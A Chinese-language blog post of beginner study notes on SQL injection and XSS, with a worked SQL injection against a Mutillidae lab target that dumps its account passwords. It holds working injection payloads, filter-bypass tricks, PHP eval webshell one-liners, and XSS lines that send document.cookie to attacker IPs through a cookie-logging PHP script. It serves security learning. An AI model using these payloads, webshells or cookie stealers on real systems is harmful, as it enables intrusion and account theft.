SQL注入与简单的XSS

SQL注入的基本套路

本博客仅用于学习,只是一份网络安全的入门学习笔记

1)测试交互方法,判断浏览器提交数据和web服务器的交互方式
+get提交
提交的数据在url中显示
+post提交(表单提交)
没有在url中显示
2)判断提交变量的数据类型
+整形(int类型)
id = 1 and 1=2 //让提交数据为false(假)
有交互显示则为整型(即输入后与加and之前显示的不一样)
+字符型
id = 1 and 1=2
无交互显示,则进一步判断闭合方式
常见的闭合方法‘’,“”,(),(‘’),(“”)等
3)构造闭合(整型不需要) --+ 或者 #
4)在闭合中构造sql语句并判断数据库表的行数
确定显示位
union all select 1,2,3
5)在有显示的行输入需要回显的sql语句
爆数据库名
database()
表名
group_concat(table_name) from information_schema.tables where table_schema=‘your database’
列名:
group_concat(column_name) from information_schema.columns where table_name=‘your table’ and table_schema=‘your database’
具体信息:
group_concat(your column) from your table

简单SQL注入的类型

一、普通的get提交,有显示位的(可以通过与显示位的交互获取信息的)
1)判断web的交互方式=>get|post
2)判断提交数据的字符类型=>string|int
3)构造闭合语句(string类型)
4)判断显示位=>union all select 1,2,3···找到正确的列数
5)使用SQL进行交互,找到想要的信息=>SQL语句

二、报错类型的SQL注入
界面只显示是否成功而没有显示位,能够与服务器进行交互的只有报错信息
1)判断web的交互方式
2)判断提交数据的字符类型&&构造闭合语句=>通过是否报错或成功以判断
3)使用SQL进行交互,找到想要的信息:通过SQL报错语句找到可以交互的位置将想要的信息调出来
数据库名称:
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
表名:
AND(SELECT 1 FROM (SELECT COUNT(
),CONCAT((SELECT(SELECT CONCAT(CAST(table_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
列名:
AND (SELECT 1 FROM (SELECT COUNT(
),CONCAT((SELECT(SELECT CONCAT(CAST(column_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x7365637572697479 LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
数据:
AND (SELECT 1 FROM (SELECT COUNT(
),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM security.users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
三、基于时间的SQL注入
类似于布尔型,由于注入语句成功执行的时间远大于不成功执行,按照时间当做报错型处理,方法如上。

实例分析:获取数据库用户信息(靶机使用Metasploitable2)

1、观察
在Name栏随便输入一个东西发现,URL有变化从而判断其为get型的
SQL注入与简单的XSS
http://192.168.66.129/mutillidae/index.php?page=user-info.php&username=3&password=&user-info-php-submit-button=View+Account+Details

并且两个变量名分别为username 和 password,password可以为空

2、判断类型

http://192.168.66.129/mutillidae/index.php?page=user-info.php&username=3%20and%201=2&password=&user-info-php-submit-button=View+Account+Details

页面并无变化因此应为string类型

3、构造闭合
尝试发现:是单引号的闭合方式

http://192.168.66.129/mutillidae/index.php?page=user-info.php&username=3’&password=&user-info-php-submit-button=View+Account+Details

SQL注入与简单的XSS

http://192.168.66.129/mutillidae/index.php?page=user-info.php&username=3’ --+&password=&user-info-php-submit-button=View+Account+Details

SQL注入与简单的XSS
4、找出显示位
SQL注入与简单的XSS
多次尝试找出显示位:

http://192.168.66.129/mutillidae/index.php?page=user-info.php&username=3%27%20union%20all%20select%201,2,3,4,5%20--+&password=&user-info-php-submit-button=View+Account+Details

SQL注入与简单的XSS
显示位是2,3,4
5、搞出数据
数据库名:owasp10
表名:accounts,blogs_table,captured_data,credit_cards,hitlog,pen_test_tools
需要的accounts表中的列:cid,username,password,mysignature,is_admin
具体数据:
SQL注入与简单的XSS
http://192.168.66.129/mutillidae/index.php?page=user-info.php&username=1' union all select 1,group_concat(username),group_concat(password),4,5 from accounts--+&password=&user-info-php-submit-button=View+Account+Details

Username=admin,adrian,john,jeremy,bryce,samurai,jim,bobby,simba,dreveil,scotty,cal,john,kevin,dave,ed
Password=adminpass,somepassword,monkey,password,password,samurai,password,password,password,password,password,password,password,42,set,pentest

6、登入
使用第一个登入查看:
SQL注入与简单的XSS

防止SQL注入的常规操作

黑名单过滤技术
1、过滤sql关键字
常见过滤关键字 and,or,select,union,引号,空格,杠等,还有一些类似技术不是过滤而是通过转移函数或者剥离非法关键字
绕过方法:
大小写变形(混写)
编码 hex,urlencode
注释’/or/’
过滤替换
截断
2、预处理
转码以后再过滤
对于过滤掉特殊字符的web可以转换成hex码,用hex一路打过去,绕过单引号
也可以urlencode转换使用,如:
id=-1 union all select group_concat(table_name),2 from information_schema.tables where table_schema = 0x64767761 &Submit=Submit
或者用函数,避免直接写表名带出单引号

一句话木马

写入目标服务器并使用工具获取服务器的操作权限
一句话木马
echo ‘<[email protected]($_POST[123]);?>’ > 123.php
写入文件打开再运行木马

<?php fputs(fopen("test.php","w"),'<?php @eval($_POST[123]);?>')?>

XSS的基础知识

XSS(Cross Site Script),全称跨站脚本攻击,为了与 CSS(Cascading Style
Sheet)层叠样式表有所区别,所以在安全领域称为 XSS。

XSS 攻击,通常指⿊客通过 HTML注⼊入(控制输入变量)篡改网页,插入恶意脚本,从
而在用户浏览网页时,控制用户浏览器的一种攻击行为。在这种行为最初出现之时,
所有的演示案例全是跨域行为,所以叫做 “跨站脚本” 。时至今日,随着Web 端功能的
复杂化,应用化,是否跨站已经不重要了,但 XSS 这个名字却一直保留下来。

举例说明:编写一个页面把输入内容显示在网页上。

<?php
$input = $_GET['content'];
echo "<div>".$input."</div>";
?>

反射型XSS
反射型XSS只是简单地把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者必须以某种方式诱导用户访问一个精心设计的URL(恶意连接),才能实施攻击
使用弹窗测试

<script>alert(/xss/)</script>

在一个攻击者准备的网站目录下创建一个php文件写入如下内容

<?php
 $cookie = $_GET['cookie'];	//获取cookie变量的值 
 $log = fopen("cookie.txt", "w");//创建并打开一个cookie.txt的文本权限为写入
 fwrite($log, $cookie ."\n");	//把cookie的值写入创建的文本
 fclose($log);			//关闭文本 
 echo "此页面不存在并且如果你看到了这个页面我也不知道怎么改回去.jpg"; //显示
 ?>

构造一个URL诱导用户访问,如:

http://192.168.99.152/DVWA-1.9/vulnerabilities/xss_r/?name=
<script>document.location=	'http://10.211.55.17/XSS.php?cookie='
+document.cookie;</script>

用户点击后攻击者即可获得cookie
存储型XSS
存储型XSS能够把用户提交的数据保存在网站中,这种的攻击的稳定性比较好,一般
是由于用户提交的数据没有经过有效的过滤所导致,常用的场景是网站的留言板块、
博客、论坛发帖等,比如一个问答网站,黑客提出一个包含恶意脚本的问题,网站后
台没有做输出过滤,那么任何查看该问题的用户的浏览器都会自动执行该恶意脚本。

一个例子:

<script>document.location='http://172.16.20.119/attack.php?cookie='+document.cookie;</script>

总结:思维导图

SQL注入与简单的XSS